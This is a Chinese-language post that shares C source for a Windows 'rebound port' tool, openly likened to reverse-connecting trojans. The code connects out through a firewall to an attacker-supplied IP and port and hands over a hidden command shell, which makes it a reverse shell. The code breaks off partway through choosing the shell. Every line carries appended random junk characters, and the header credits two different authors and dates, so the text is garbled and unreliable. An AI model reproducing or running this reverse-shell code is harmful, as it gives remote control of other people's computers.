这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 bDWeU}
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/* ============================== _q)!B,y-/N
Rebound port in Windows NT J$QBI&D
By wind,2006/7 LN^UC$[tk
===============================*/ Gs_qO)~xo
#include #Qd'+M
#include k"
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#pragma comment(lib,"wsock32.lib") j{;|g%5t
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void OutputShell(); 5m7b\Mak
SOCKET sClient; e:OyjG5_
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; q}wj}t#
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void main(int argc,char **argv) )o jDRJ&
{ !5UfWk\G
WSADATA stWsaData; }lP 5GT2
int nRet; 9P.(^SD][z
SOCKADDR_IN stSaiClient,stSaiServer; RqLNp?V%
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if(argc != 3) @Tr&`Hi
{ M3(k'q7&:
printf("Useage:\n\rRebound DestIP DestPort\n"); +9[SVw8
return; '9J*6uXf.
} a4&:@`=
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WSAStartup(MAKEWORD(2,2),&stWsaData); EgNH8i
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 8Z# 21X>
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stSaiClient.sin_family = AF_INET; qS.)UaA
stSaiClient.sin_port = htons(0); Tn A?u (R%
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); xo Gb
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) <MdGe1n
{ #hJQbv=B"
printf("Bind Socket Failed!\n"); }+0z,s~0.
return; =nU/ [T.
} h/<=u9J
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stSaiServer.sin_family = AF_INET; \84v-VK
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ^u)rB<#BR
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); i2PZ'.sL
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) O>V(cmqE`
{ -@M3Dwsi3
printf("Connect Error!"); XoItV
return; VVuR+=.&
} P`TIaP9%E
OutputShell(); +xj "hX>3
} mp\%M
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void OutputShell() y
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{ S&?7K-F>_o
char szBuff[1024]; >F3.c%VU]w
SECURITY_ATTRIBUTES stSecurityAttributes; Ld(NhB'7
OSVERSIONINFO stOsversionInfo; }U[-44r:
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 9y^/GwUQ
STARTUPINFO stStartupInfo; 6E|S
char *szShell; {QQl$ys/
PROCESS_INFORMATION stProcessInformation; #$'FSy#
unsigned long lBytesRead; fbC~WV#
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Bo
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ssl&5AS
stSecurityAttributes.lpSecurityDescriptor = 0; 8h.V4/?
stSecurityAttributes.bInheritHandle = TRUE; oT&m4I
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); !/hsJ9
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 2P9J'
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); n?E}b$6
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Fr5 Xp
stStartupInfo.wShowWindow = SW_HIDE; 3z[$4L'.
stStartupInfo.hStdInput = hReadPipe; @`|)Ia<
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; &5Y_>{,
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GetVersionEx(&stOsversionInfo); @-"R$HOT
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switch(stOsversionInfo.dwPlatformId) s@!$='|
{ <KQ(c`KW7
case 1: U7H9/<&o
szShell = "command.com"; ,X/-
break; +K{LQsR]
default: x(~<